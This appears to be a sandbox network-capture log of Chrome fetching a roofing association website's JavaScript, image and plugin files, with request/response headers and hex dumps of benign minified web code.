2024-04-23 14:53:49 UTC	488	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 62 6f 6f 6d 65 72 61 6e 67 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 32 34 38 39 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 36 37 37 37 32 31 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2c 65 3d 66 2e 69 6e 64 65 78 3d 70 61 72 73 65 49 6e 74 28 31 36 37 37 37 32 31 35 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2c 31 30 29 2c 6e 3d 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 70 72 6f 63 65 73 73 7c 7c 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 70 72 6f 63 65 73 73 2e Data Ascii: /! For license information please see boomerang.min.js.LICENSE.txt /!function(){var t={2489:function(t){for(var r=Math.floor(16777215Math.random()),e=f.index=parseInt(16777215Math.random(),10),n=("undefined"==typeof process\|\|"number"!=typeof process.
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 75 63 74 6f 72 2e 69 73 42 75 66 66 65 72 28 74 29 29 7d 2c 63 3d 5b 5d 2c 75 3d 30 3b 75 3c 32 35 36 3b 75 2b 2b 29 63 5b 75 5d 3d 28 75 3c 3d 31 35 3f 22 30 22 3a 22 22 29 2b 75 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 76 61 72 20 61 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5b 30 2d 39 61 2d 66 41 2d 46 5d 7b 32 34 7d 24 22 29 2c 73 3d 5b 5d 3b 66 6f 72 28 75 3d 30 3b 75 3c 31 30 3b 29 73 5b 34 38 2b 75 5d 3d 75 2b 2b 3b 66 6f 72 28 3b 75 3c 31 36 3b 29 73 5b 35 35 2b 75 5d 3d 73 5b 38 37 2b 75 5d 3d 75 2b 2b 3b 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 66 29 29 72 65 74 75 72 6e 20 6e 65 77 20 66 28 74 29 3b 69 66 28 74 26 26 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 66 7c 7c 22 4f 62 6a Data Ascii: uctor.isBuffer(t))},c=[],u=0;u<256;u++)c[u]=(u<=15?"0":"")+u.toString(16);var a=new RegExp("^[0-9a-fA-F]{24}$"),s=[];for(u=0;u<10;)s[48+u]=u++;for(;u<16;)s[55+u]=s[87+u]=u++;function f(t){if(!(this instanceof f))return new f(t);if(t&&(t instanceof f\|\|"Obj
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 2e 6c 65 6e 67 74 68 26 26 61 2e 74 65 73 74 28 74 29 3a 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 66 7c 7c 28 69 28 74 29 3f 66 2e 69 73 56 61 6c 69 64 28 74 2e 74 6f 53 74 72 69 6e 67 28 22 68 65 78 22 29 29 3a 21 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 2e 74 6f 48 65 78 53 74 72 69 6e 67 7c 7c 21 6f 7c 7c 21 28 74 2e 69 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 2e 69 64 29 29 26 26 28 31 32 3d 3d 3d 74 2e 69 64 2e 6c 65 6e 67 74 68 7c 7c 32 34 3d 3d 3d 74 2e 69 64 2e 6c 65 6e 67 74 68 26 26 61 2e 74 65 73 74 28 74 2e 69 64 29 29 29 29 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 66 2c 74 6f 48 65 78 53 74 72 69 6e 67 3a 66 75 6e 63 74 Data Ascii: .length&&a.test(t):t instanceof f\|\|(i(t)?f.isValid(t.toString("hex")):!("function"!=typeof t.toHexString\|\|!o\|\|!(t.id instanceof o\|\|"string"==typeof t.id))&&(12===t.id.length\|\|24===t.id.length&&a.test(t.id)))))},f.prototype={constructor:f,toHexString:funct
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 32 35 35 2c 74 3e 3e 38 26 32 35 35 2c 32 35 35 26 74 2c 72 3e 3e 31 36 26 32 35 35 2c 72 3e 3e 38 26 32 35 35 2c 32 35 35 26 72 2c 6e 3e 3e 38 26 32 35 35 2c 32 35 35 26 6e 2c 6f 3e 3e 31 36 26 32 35 35 2c 6f 3e 3e 38 26 32 35 35 2c 32 35 35 26 6f 29 7d 7d 3b 76 61 72 20 6c 3d 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 66 6f 72 26 26 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 6e 6f 64 65 6a 73 2e 75 74 69 6c 2e 69 6e 73 70 65 63 74 2e 63 75 73 74 6f 6d 22 29 7c 7c 22 69 6e 73 70 65 63 74 22 3b 66 2e 70 72 6f 74 6f 74 79 70 65 5b 6c 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 4f 62 6a 65 63 74 49 44 28 22 2b 74 68 69 73 2b 22 29 22 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 4a 53 4f 4e 3d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 48 65 78 Data Ascii: 255,t>>8&255,255&t,r>>16&255,r>>8&255,255&r,n>>8&255,255&n,o>>16&255,o>>8&255,255&o)}};var l=Symbol&&Symbol.for&&Symbol.for("nodejs.util.inspect.custom")\|\|"inspect";f.prototype[l]=function(){return"ObjectID("+this+")"},f.prototype.toJSON=f.prototype.toHex
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 69 6d 69 74 69 76 65 20 76 61 6c 75 65 2e 22 29 7d 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 74 29 7d 28 6f 29 2c 28 6f 3d 22 73 79 6d 62 6f 6c 22 3d 3d 69 28 75 29 3f 75 3a 53 74 72 69 6e 67 28 75 29 29 69 6e 20 6e 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2c 6f 2c 7b 76 61 6c 75 65 3a 63 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 6e 5b 6f 5d 3d 63 7d 29 29 3a 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 65 Data Ascii: imitive value.")}return String(t)}(o),(o="symbol"==i(u)?u:String(u))in n?Object.defineProperty(n,o,{value:c,enumerable:!0,configurable:!0,writable:!0}):n[o]=c})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(e
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 5b 72 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3a 7b 7d 3b 72 25 32 3f 63 28 4f 62 6a 65 63 74 28 65 29 2c 21 30 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 2c 6f 2c 63 2c 75 3b 6e 3d 74 2c 6f 3d 72 2c 63 3d 65 5b 72 5d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 69 28 74 29 7c 7c 21 74 29 72 65 74 75 72 6e 20 74 3b 76 61 72 20 65 3d 74 5b 53 79 6d 62 6f 6c 2e 74 6f 50 72 69 6d 69 74 69 76 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 7b 76 61 72 20 6e 3d 65 2e 63 61 6c 6c 28 74 2c 22 73 74 72 69 6e 67 22 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 69 28 6e 29 29 72 65 74 75 72 6e 20 6e 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 Data Ascii: ments[r]?arguments[r]:{};r%2?c(Object(e),!0).forEach((function(r){var n,o,c,u;n=t,o=r,c=e[r],u=function(t,r){if("object"!=i(t)\|\|!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var n=e.call(t,"string");if("object"!=i(n))return n;throw new TypeError(
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 65 63 74 29 28 63 29 26 26 28 61 3d 75 28 7b 7d 2c 63 29 29 2c 75 28 75 28 75 28 75 28 7b 7d 2c 28 30 2c 6e 2e 67 65 74 57 69 6e 64 6f 77 50 61 72 61 6d 65 74 65 72 73 29 28 29 29 2c 28 30 2c 6e 2e 67 65 74 44 65 66 61 75 6c 74 50 61 72 61 6d 65 74 65 72 73 29 28 29 29 2c 61 29 2c 7b 7d 2c 7b 66 6c 76 72 3a 22 63 6f 6e 76 65 72 74 22 2c 66 63 76 3a 7b 61 6d 6f 75 6e 74 3a 65 7c 7c 30 2c 63 61 74 65 67 6f 72 79 3a 69 7c 7c 22 43 6f 6e 76 65 72 73 69 6f 6e 22 2c 63 75 72 72 65 6e 63 79 3a 6f 7c 7c 22 55 53 44 22 7d 2c 61 5f 69 64 3a 74 2e 61 63 63 6f 75 6e 74 49 64 2c 73 65 67 5f 69 64 3a 72 7d 29 7d 28 6f 2c 74 2c 69 2c 73 2c 63 2c 65 29 3b 72 65 74 75 72 6e 28 30 2c 6e 2e 69 73 50 72 6f 6d 69 73 65 29 28 6f 2e 69 6e 69 74 69 61 6c 69 7a 65 64 29 3f 6f 2e Data Ascii: ect)(c)&&(a=u({},c)),u(u(u(u({},(0,n.getWindowParameters)()),(0,n.getDefaultParameters)()),a),{},{flvr:"convert",fcv:{amount:e\|\|0,category:i\|\|"Conversion",currency:o\|\|"USD"},a_id:t.accountId,seg_id:r})}(o,t,i,s,c,e);return(0,n.isPromise)(o.initialized)?o.
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 63 61 75 73 65 20 60 66 6c 79 60 20 68 61 73 20 61 6c 72 65 61 64 79 20 62 65 65 6e 20 69 6e 76 6f 6b 65 64 20 66 6f 72 20 74 68 69 73 20 70 69 78 65 6c 20 61 6e 64 20 61 63 63 6f 75 6e 74 20 69 64 2e 22 29 2c 69 2e 62 6f 6f 6d 65 72 61 6e 67 73 42 79 49 64 5b 74 5d 2e 73 74 61 74 65 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3b 76 61 72 20 66 3d 6e 65 77 20 6f 2e 64 65 66 61 75 6c 74 28 74 2c 74 68 69 73 29 3b 28 30 2c 63 2e 6c 6f 67 29 28 22 73 65 74 74 69 6e 67 20 61 63 63 6f 75 6e 74 20 69 64 20 22 2e 63 6f 6e 63 61 74 28 74 29 29 2c 66 2e 61 63 63 6f 75 6e 74 49 64 3d 74 2c 66 2e 6c 6f 61 64 65 64 3d 21 30 2c 65 2e 64 65 76 4d 6f 64 65 26 26 28 66 2e 64 65 76 4d 6f 64 65 3d 21 30 29 2c 65 2e 62 79 70 61 73 73 48 61 73 68 26 26 28 66 2e 62 79 70 61 73 73 48 Data Ascii: cause `fly` has already been invoked for this pixel and account id."),i.boomerangsById[t].state.initialized;var f=new o.default(t,this);(0,c.log)("setting account id ".concat(t)),f.accountId=t,f.loaded=!0,e.devMode&&(f.devMode=!0),e.bypassHash&&(f.bypassH
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 79 24 2f 2e 74 65 73 74 28 65 29 3f 6c 28 74 2c 72 29 3a 76 6f 69 64 20 30 7d 7d 28 69 2c 70 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 2e 5c 6e 49 6e 20 6f 72 64 65 72 20 74 6f 20 62 65 20 69 74 65 72 61 62 6c 65 2c 20 6e 6f 6e 2d 61 72 72 61 79 20 6f 62 6a 65 63 74 73 20 6d 75 73 74 20 68 61 76 65 20 61 20 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 20 6d 65 74 68 6f 64 2e 22 29 7d 28 29 29 2c 68 3d 28 64 5b 30 5d 2c 64 5b 31 5d 29 3b 74 72 79 7b 28 30 2c 75 2e 72 65 6e 64 65 72 4d 61 74 63 68 43 6f 64 65 29 28 65 2e 64 65 76 Data Ascii: y$/.test(e)?l(t,r):void 0}}(i,p)\|\|function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),h=(d[0],d[1]);try{(0,u.renderMatchCode)(e.dev
2024-04-23 14:53:49 UTC	1369	IN	Data Raw: 3d 66 28 65 28 33 38 30 32 29 29 2c 75 3d 66 28 65 28 34 34 30 29 29 2c 61 3d 66 28 65 28 37 33 39 33 29 29 2c 73 3d 66 28 65 28 38 37 39 32 29 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 74 3a 7b 64 65 66 61 75 6c 74 3a 74 7d 7d 7d 2c 37 33 39 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 72 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 72 2e 64 65 66 61 75 6c 74 3d 76 6f 69 64 20 30 3b 76 61 72 20 6e 3d 65 28 39 32 39 38 29 2c 6f 3d 65 28 31 38 30 38 29 3b 72 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 76 61 72 20 Data Ascii: =f(e(3802)),u=f(e(440)),a=f(e(7393)),s=f(e(8792));function f(t){return t&&t.__esModule?t:{default:t}}},7393:function(t,r,e){"use strict";Object.defineProperty(r,"__esModule",{value:!0}),r.default=void 0;var n=e(9298),o=e(1808);r.default=function(t,r){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49804	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	703	OUT	GET /wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.min.js?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 4193 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026f9-1061-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	4193	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 66 6e 2e 6d 65 61 6e 6d 65 6e 75 3d 66 75 6e 63 74 69 6f 6e 28 57 29 7b 76 61 72 20 65 3d 7b 6d 65 61 6e 4d 65 6e 75 54 61 72 67 65 74 3a 6a 51 75 65 72 79 28 74 68 69 73 29 2c 6d 65 61 6e 4d 65 6e 75 43 6f 6e 74 61 69 6e 65 72 3a 22 62 6f 64 79 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 3a 22 58 22 2c 6d 65 61 6e 4d 65 6e 75 46 69 78 65 64 3a 22 6e 6f 22 2c 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 53 69 7a 65 3a 22 31 38 70 78 22 2c 6d 65 61 6e 4d 65 6e 75 4f 70 65 6e 3a 22 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 3c 73 70 61 6e 20 2f 3e 22 2c 6d 65 61 6e 52 65 76 65 61 6c 50 6f 73 69 74 69 6f 6e 3a 22 72 69 67 68 74 22 2c 6d 65 61 6e 52 65 76 65 61 6c 50 6f 73 69 Data Ascii: !function(n){"use strict";n.fn.meanmenu=function(W){var e={meanMenuTarget:jQuery(this),meanMenuContainer:"body",meanMenuClose:"X",meanMenuFixed:"no",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanRevealPosi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49805	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	707	OUT	GET /wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.options.js?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	544	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 1585 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026fa-631-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	1585	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 65 6e 75 32 53 63 72 65 65 6e 57 69 64 74 68 20 3d 20 75 64 65 73 69 67 6e 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6d 65 6e 75 5f 32 5f 76 61 72 73 2e 6d 65 6e 75 5f 32 5f 73 63 72 65 65 6e 5f 77 69 64 74 68 3b 0d 0a 20 20 20 20 76 61 72 20 6d 65 6e 75 32 46 69 78 65 64 20 3d 20 75 64 65 73 69 67 6e 5f 72 65 73 70 6f 6e 73 69 76 65 5f 6d 65 6e 75 5f 32 5f 76 61 72 73 2e 6d 65 6e 75 5f 32 5f 66 69 78 65 64 3b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 23 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 27 29 2e 6d 65 61 6e 6d 65 6e 75 28 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 65 61 6e 4d 65 6e 75 43 6c 6f 73 65 3a 20 22 58 22 2c 20 2f 2f 20 73 69 6e 67 6c 65 20 63 68 61 72 61 63 74 Data Ascii: (function() { var menu2ScreenWidth = udesign_responsive_menu_2_vars.menu_2_screen_width; var menu2Fixed = udesign_responsive_menu_2_vars.menu_2_fixed; jQuery('#navigation-menu').meanmenu({ meanMenuClose: "X", // single charact

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49806	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	505	OUT	GET /wp-content/themes/u-design/assets/images/repeat-x-sprite-sheet.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 302 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e02526-12e-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	302	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 14 00 00 03 60 08 04 00 00 00 86 db 80 cc 00 00 00 f5 49 44 41 54 78 da ed dc b1 4e c2 50 18 86 e1 ef 40 1b 75 31 d1 db 71 f1 a6 dc bc 57 2f 43 4d 69 8f 8b c0 02 c9 3f 90 50 e5 79 b6 c2 cb 29 e9 d0 9e 7f 80 64 fd da c7 6b 2d dc 54 57 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 fe e3 10 00 00 58 b1 d6 df 7f 77 f8 0f d9 66 c9 2e bb cc 49 b6 19 32 64 93 39 9f 59 5c 26 00 00 28 6d af e7 e2 f6 ba e5 71 ff 91 b4 f4 24 fd 70 9c b4 f4 fd 71 cb 78 5c fd 10 9d 7f 05 00 00 b8 91 e9 63 7a 4b 72 9f 31 53 be 4f cc 0a 77 19 33 e5 2b 69 79 3a 4c 1e a7 06 88 f3 ef 00 00 00 2b 1a 01 7a f1 ff 1f 87 ea f6 be 1c 96 7f 34 70 f9 53 5f 35 5c 6e f2 3b 5a f1 cf af e8 f2 58 d1 8d f4 Data Ascii: PNGIHDR`IDATxNP@u1qW/CMi?Py)dk-TWBP(BP(BP(BP(Xwf.I2d9Y\&(mq$pqx\czKr1SOw3+iy:L+z4pS_5\n;ZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49810	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	680	OUT	GET /wp-content/plugins/page-links-to/dist/new-tab.js?ver=3.3.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 24734 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 07 Mar 2022 16:00:53 GMT ETag: "152043c-609e-5d9a2f80bb740" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	7645	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 69 66 28 6e 5b 65 5d 29 72 65 74 75 72 6e 20 6e 5b 65 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 6e 5b 65 5d 3d 7b 69 3a 65 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 65 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 72 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 74 2c 72 2e 63 3d 6e 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 72 2e 6f 28 74 2c 6e 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 65 7d 29 7d 2c 72 2e 72 3d 66 75 6e Data Ascii: !function(t){var n={};function r(e){if(n[e])return n[e].exports;var o=n[e]={i:e,l:!1,exports:{}};return t[e].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=t,r.c=n,r.d=function(t,n,e){r.o(t,n)\|\|Object.defineProperty(t,n,{enumerable:!0,get:e})},r.r=fun
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 6d 65 72 61 62 6c 65 28 30 29 7d 29 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 53 74 72 69 6e 67 22 3d 3d 6f 28 74 29 3f 69 2e 63 61 6c 6c 28 74 2c 22 22 29 3a 4f 62 6a 65 63 74 28 74 29 7d 3a 4f 62 6a 65 63 74 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 72 28 39 29 2c 6f 3d 72 28 34 29 2c 69 3d 72 28 34 36 29 3b 74 2e 65 78 70 6f 72 74 73 3d 21 65 26 26 21 6f 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 21 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 28 22 64 69 76 22 29 2c 22 61 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 7d 7d 29 2e 61 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 65 3d 72 28 31 29 Data Ascii: merable(0)}))?function(t){return"String"==o(t)?i.call(t,""):Object(t)}:Object},function(t,n,r){var e=r(9),o=r(4),i=r(46);t.exports=!e&&!o((function(){return 7!=Object.defineProperty(i("div"),"a",{get:function(){return 7}}).a}))},function(t,n,r){var e=r(1)
